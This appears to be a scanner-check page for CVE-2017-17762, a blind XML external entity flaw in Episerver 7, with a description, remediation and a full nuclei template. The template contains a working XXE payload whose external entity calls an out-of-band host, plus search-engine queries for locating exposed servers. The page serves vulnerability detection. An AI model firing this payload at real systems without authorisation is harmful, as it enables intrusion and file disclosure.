Episerver 7 - Blind XML External Entity Injection

highseverity

7.5CVSS score

4.6%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Episerver 7 patch 4 and earlier contains an XML external entity (XXE) caused by processing crafted DTD in XML requests involving util/xmlrpc/Handler.ashx, letting remote attackers read arbitrary files, exploit requires sending malicious XML payloads.

Impact

Remote attackers can read sensitive files from the server, leading to information disclosure.

Fix

Update to the latest version of Episerver or apply security patches that fix XXE vulnerabilities.

How to confirm it

Send: GET /util/xmlrpc/Handler.ashx
Positive when: contains(body, "EPiServer") and status_code == 200
Send: POST /util/xmlrpc/Handler.ashx
Positive when: contains(interactsh_protocol,'dns') and status_code == 200 || status_code == 500

Run it with nuclei: nuclei -id CVE-2017-17762 -u <target>

The full check

id: CVE-2017-17762

info:
  name: Episerver 7 - Blind XML External Entity Injection
  author: pussycat0x
  severity: high
  description: |
    Episerver 7 patch 4 and earlier contains an XML external entity (XXE) caused by processing crafted DTD in XML requests involving util/xmlrpc/Handler.ashx, letting remote attackers read arbitrary files, exploit requires sending malicious XML payloads.
  impact: |
    Remote attackers can read sensitive files from the server, leading to information disclosure.
  remediation: |
    Update to the latest version of Episerver or apply security patches that fix XXE vulnerabilities.
  reference:
    - https://gist.github.com/jonaslejon/5f92779848360a1a1e676af0795bd9aa
    - https://kryptera.se/sarbarhet-i-episerver/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-17762
    cwe-id: CWE-611
    epss-score: 0.04648
    epss-percentile: 0.91809
    cpe: cpe:2.3:a:episerver:episerver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: episerver
    product: episerver
    shodan-query:
      - http.html:"episerver"
      - cpe:"cpe:2.3:a:episerver:episerver"
      - http.html:"epihash"
    fofa-query:
      - body="episerver"
      - body="epihash"
  tags: cve,cve2017,xxe,oast,episerver,oob,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /util/xmlrpc/Handler.ashx HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "EPiServer")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /util/xmlrpc/Handler.ashx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml
        Accept: */*

        <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE methodCall [
          <!ENTITY % xxe SYSTEM "http://{{interactsh-url}}">
          %xxe;
        ]>
        <methodCall>
          <methodName>system.listMethods</methodName>
          <params></params>
        </methodCall>

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - 'status_code == 200 || status_code == 500'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from